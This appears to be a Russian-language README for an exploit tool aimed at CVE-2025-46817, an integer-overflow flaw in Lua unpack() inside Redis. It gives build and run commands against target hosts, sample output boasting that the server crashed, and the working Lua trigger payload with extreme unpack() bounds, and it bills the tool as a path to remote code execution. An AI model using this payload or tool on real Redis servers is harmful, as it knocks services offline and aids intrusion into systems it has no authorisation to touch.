
C-эксплойт для CVE-2025-46817, уязвимости целочисленного переполнения в Redis, позволяющей обнаруживать сбои и потенциально выполнять произвольный код (RCE) через полезную нагрузку Lua unpack().
Лёгкая реализация эксплойта CVE-2025-46817 для уязвимости целочисленного переполнения в Redis на языке C.
sudo apt-get update
sudo apt-get install build-essential libhiredis-dev
sudo yum install gcc hiredis-devel
brew install hiredis
gcc -o exploit exploit.c -lhiredis
./exploit -H 127.0.0.1 -P 6379
./exploit -H 192.168.1.100 -P 6379 -t 5
-H <host> Хост сервера Redis (обязательно)
-P <port> Порт сервера Redis (обязательно)
-t <timeout> Тайм-аут подключения в секундах (по умолчанию: 10)
-h Показать справочное сообщение
██▓███ █ █░███▄ █ ▄▄▄▄ █ ██ █████▒ █████▒▓█████ ██▀███
▓██░ ██▒▓█░ █ ░█░██ ▀█ █ ▓█████▄ ██ ▓██▒▓██ ▒▓██ ▒ ▓█ ▀ ▓██ ▒ ██▒
▓██░ ██▓▒▒█░ █ ░█▓██ ▀█ ██▒▒██▒ ▄██▓██ ▒██░▒████ ░▒████ ░ ▒███ ▓██ ░▄█ ▒
▒██▄█▓▒ ▒░█░ █ ░█▓██▒ ▐▌██▒▒██░█▀ ▓▓█ ░██░░▓█▒ ░░▓█▒ ░ ▒▓█ ▄ ▒██▀▀█▄
▒██▒ ░ ░░░██▒██▓▒██░ ▓██░░▓█ ▀█▓▒▒█████▓ ░▒█░ ░▒█░ ░▒████▒░██▓ ▒██▒
▒▓▒░ ░ ░░ ▓░▒ ▒ ░ ▒░ ▒ ▒ ░▒▓███▀▒░▒▓▒ ▒ ▒ ▒ ░ ▒ ░ ░░ ▒░ ░░ ▒▓ ░▒▓░
░▒ ░ ▒ ░ ░ ░ ░░ ░ ▒░▒░▒ ░ ░░▒░ ░ ░ ░ ░ ░ ░ ░ ░▒ ░ ▒░
░░ ░ ░ ░ ░ ░ ░ ░ ░░░ ░ ░ ░ ░ ░ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░
░
Инструмент эксплойта CVE-2025-46817
Целочисленное переполнение -> Цепочка RCE
Доступ -> https://pwnbuffer.org/
Автор: Slayerkkk
Цель: Redis <= 8.2.1
Тип: Повреждение памяти -> Выполнение кода
ℹ️ Проверка подключения к 127.0.0.1:6379...
✅ Подключение успешно
ℹ️ Версия Redis: 8.2.1
❌ УЯЗВИМ - Версия <= 8.2.1
ℹ️ Проверка Lua-скриптов...
✅ Lua включён (1+1=2)
🚀 НАЧАЛО ЭКСПЛУАТАЦИИ
==================================================
💀 Выполнение полезной нагрузки эксплойта...
Полезная нагрузка: Целочисленное переполнение через unpack()
💥 СЕРВЕР УПАЛ - Соединение потеряно!
📊 РЕЗУЛЬТАТ ЭКСПЛУАТАЦИИ
==============================
💥 Статус: crashed (2.34s)
💀 ЭКСПЛУАТАЦИЯ УСПЕШНА - Сервер упал!
Уязвимость CVE-2025-46817 подтверждена
Эксплойт нацелен на целочисленное переполнение в реализации функции unpack() Lua в Redis (luaB_unpack). При вызове с определёнными параметрами арифметика со знаковыми целыми числами переполняется, что заставляет Redis пытаться материализовать огромное количество возвращаемых значений.
local data = {1, 2, 3}
return {unpack(data, -2147483648, 2147483647)}
Инструмент сообщает об одном из следующих статусов:
Автор: Slayerkkk
Веб-сайт: https://pwnbuffer.org